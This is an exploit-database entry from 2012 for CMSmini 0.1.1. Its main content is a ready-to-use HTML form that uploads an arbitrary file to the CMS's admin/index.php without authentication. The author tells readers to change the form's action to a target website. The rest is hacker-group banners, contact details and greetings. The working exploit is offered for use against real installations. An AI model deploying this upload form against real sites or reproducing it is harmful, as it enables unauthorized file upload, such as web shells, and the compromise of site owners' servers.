CMSmini 0.1.1 Upload File Exploit



EKU-ID: 1765 CVE: OSVDB-ID:
Author: Dr.KroOoZ Published: 2012-03-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


+-----------------------------------------+
# Exploit Title: CMSmini 0.1.1 Upload File Exploit
# Author: Dr.KroOoZ
# Software : http://sourceforge.net/projects/cmsmini/files/cmsmini/cmsmini-0.1/cmsmini-0.1.tar.gz/download
# Tested on: Linux - Windows
# Dork : No Dork :D
+-----------------------------------------+
       _           _     _      ___      
      | |         | |   | |    / _ \     
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
| |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                           
+-----------------------------------------+                                      
[-] Exploit :

<title># Upload ~ Just B0x3d </title>
<form action="http://localhost/cmsmini-0.1/admin/index.php?path=" method="post" enctype="multipart/form-data">
<pre>
+-----------------------------------------+ 
<font color="#FF0000">       _           _     _      ___      
      | |         | |   | |    / _ \     
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
| |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                                            </font>
+-----------------------------------------+ 
<p align="center"><font face="Tahoma" size="2" color="#FF0000">CMSmini 0.1.1 Upload File Exploit</font></p>

<font face="Tahoma">Just B0x3d : <input align="Center" type="file" name="imagefile" id="imagefile" size="23" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" />&nbsp;&nbsp;&nbsp; <input type="submit" name="newimage" value="Upload " style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" /></font></pre>
<p>&nbsp;</p>

</form>
<font face="Tahoma">

<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.sec4ever.com">www.sec4ever.com</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.d-k-t.tk">www.d-k-t.tk</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">Dr.KroOoZ | b0x</font></p>
</center>
</body>
</font>
</html>

Change Action To Website :D
This Video : http://www.youtube.com/watch?v=l-dzH0eWZm0
+-----------------------------------------+
[»] Mail : Root@TTGSa.CoM
[»] Mail : www.d-k-t.tk
+-----------------------------------------+
[»] Dream'z KilleR [ D.K ] :
[ Dr.KroOoZ - No-QRQR ]
+-----------------------------------------+
[»] Greetz to:
[ New KilleR & b0x & FoX HaCkeR & Sn!pEr.S!Te & Ales McGregor & MjNoN HaCkEr & HaNiBaL KSA ]
+-----------------------------------------+